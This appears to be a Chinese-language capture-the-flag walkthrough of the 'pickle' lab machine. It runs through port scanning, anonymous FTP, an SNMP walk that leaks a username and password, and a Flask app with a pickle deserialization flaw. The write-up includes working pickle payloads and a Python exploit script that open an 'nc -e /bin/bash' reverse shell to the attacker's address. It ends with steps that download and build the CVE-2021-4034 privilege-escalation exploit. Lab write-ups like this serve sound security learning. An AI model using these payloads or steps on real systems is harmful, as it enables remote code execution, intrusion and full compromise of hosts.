┌──(root㉿kali)-[~]
└─# fscan -h 192.168.80.7 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
192.168.80.7:21 open
192.168.80.7:1337 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://192.168.80.7:1337 code:401 len:90 title:None
[+] ftp 192.168.80.7:21:anonymous
[->]init.py.bak
已完成 2/2
[*] 扫描结束,耗时: 1.329781452s
┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# ftp 192.168.80.7
Connected to 192.168.80.7.
220 (vsFTPd 3.0.3)
Name (192.168.80.7:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||7642|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Oct 12 2020 .
drwxr-xr-x 2 0 0 4096 Oct 12 2020 ..
-rwxr-xr-x 1 0 0 1306 Oct 12 2020 init.py.bak
226 Directory send OK.
ftp> get init.py.bak
local: init.py.bak remote: init.py.bak
229 Entering Extended Passive Mode (|||31068|)
150 Opening BINARY mode data connection for init.py.bak (1306 bytes).
100% |************************************************************| 1306 116.72 KiB/s 00:00 ETA
226 Transfer complete.
1306 bytes received in 00:00 (113.68 KiB/s)
ftp> exit
221 Goodbye.
┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# ls
init.py.bak
init.py
from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
@app.route('/', methods=["GET", "POST"])
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
return "The message was sent successfully!"
return render_template("index.html")
@app.route('/reset', methods=["GET", "POST"])
def reset_page():
'''
__reset_page__()
'''
pass
@app.route('/checklist', methods=["GET", "POST"])
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)
看一下网页
Gpt分析
主要漏洞就是在
/
与/checklist
路由上
提交的文件内容可以被我们控制
反序列化p1的内容也可以被我们控制
我们目前访问不了这个路由。因为有验证
这时候可以尝试一下扫描udp
协议
┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# nmap -sU 192.168.80.7 --top-ports 20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-30 22:25 CST
Nmap scan report for 192.168.80.7
Host is up (0.00024s latency).
PORT STATE SERVICE
53/udp open|filtered domain
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp open|filtered ntp
135/udp closed msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp open snmp
162/udp closed snmptrap
445/udp open|filtered microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp open|filtered unknown
MAC Address: 08:00:27:8B:9A:A4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 8.04 seconds
可以发现 snmp服务
是开放的
snmp的相关信息可以在这里查看
snmp的利用可以通过暴力破解社区字符串(community string),其中最常见的社区字符串是 public
┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# snmpbulkwalk -c public -v2c 192.168.80.7 .
Created directory: /var/lib/snmp/cert_indexes
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (415838) 1:09:18.38
iso.3.6.1.2.1.1.4.0 = STRING: "lucas:SuperSecretPassword123!"
iso.3.6.1.2.1.1.5.0 = STRING: "pickle"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (5) 0:00:00.05
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
里面可以看到一个像是账号密码的东西
lucas:SuperSecretPassword123!
尝试一下 发现确实是账号密码
利用账号密码成功通过认证
在 /
路由下 发送反序列化的payload
然后在 /checklist
路由下post传参 check
值为我们payload的md5
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("nc -e /bin/bash 192.168.80.5 1234 ",))
print(pickle.dumps(P()))
这里必须用Python2生成payload
┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# python2 payload.py
cposix
system
p0
(S'nc -e /bin/bash 192.168.80.5 1234 '
p1
tp2
Rp3
.
这里有一个bug。就是它接收你的payload后生成的md5与你自己计算的md5不同
原因应该是系统的问题
这里我们使用它给的md5计算方法计算md5
如果我们要获取正确的md5 选择转为unix即可 然后再计算即可
#coding:utf-8
import os
import cPickle
import hashlib
import requests
class CommandExecute(object):
def __reduce__(self):
return (os.system, ('nc 192.168.80.5 1234 -e /bin/bash',))
convert_data = cPickle.dumps(CommandExecute())
convert_crypt = hashlib.md5(convert_data).hexdigest()
print("md5:"+convert_crypt)
print("convert_data:"+convert_data)
send_requests = requests.post('http://192.168.80.7:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))
check_requests = requests.post('http://192.168.80.7:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!"))
print(check_requests.text)
监听 1234
端口获取shell
curl -u 'lucas:SuperSecretPassword123!' --basic http://192.168.80.7:1337/checklist -X POST --data 'check=f387dc63759af1e92868d3556f63ed9e'
使用LZS 进行检测
wget https://codeload.github.com/berdav/CVE-2021-4034/zip/main
unzip main
cd CVE-2021-4034-main
make
./cve-2021-4034
e25fd1b9248d1786551e3412adc74f6f
7a32c9739cc63ed983ae01af2577c01c
最后看一下完整的 project.py
app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")
def check_auth(username, password):
"""This function is called to check if a username /
password combination is valid.
"""
return username == 'lucas' and password == 'SuperSecretPassword123!'
def authenticate():
"""Sends a 401 response that enables basic auth"""
return Response(
'Could not verify your access level for that URL.\n'
'You have to login with proper credentials', 401,
{'WWW-Authenticate': 'Basic realm="Pickle login"'})
def requires_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth = request.authorization
if not auth or not check_auth(auth.username, auth.password):
return authenticate()
return f(*args, **kwargs)
return decorated
@app.route('/', methods=["GET", "POST"])
@requires_auth
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
return "The message was sent successfully!"
return render_template("index.html")
@app.route('/reset', methods=["GET", "POST"])
@requires_auth
def reset_page():
'''
__reset_page__()
'''
if request.method == "POST" and request.form["username"] and request.form["key"]:
key = "dpff43f3p214k31301"
raw = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
hashed = hmac.new(key, raw, hashlib.sha1)
if request.form["key"] == hashed.hexdigest():
return base64.b64encode(hashed.digest().encode("base64").rstrip("\n"))
else:
return "Server Error!"
return render_template("reset.html")
@app.route('/checklist', methods=["GET", "POST"])
@requires_auth
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"
return render_template("checklist.html")
@app.route('/console')
@requires_auth
def secret_page():
return "Server Error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=True)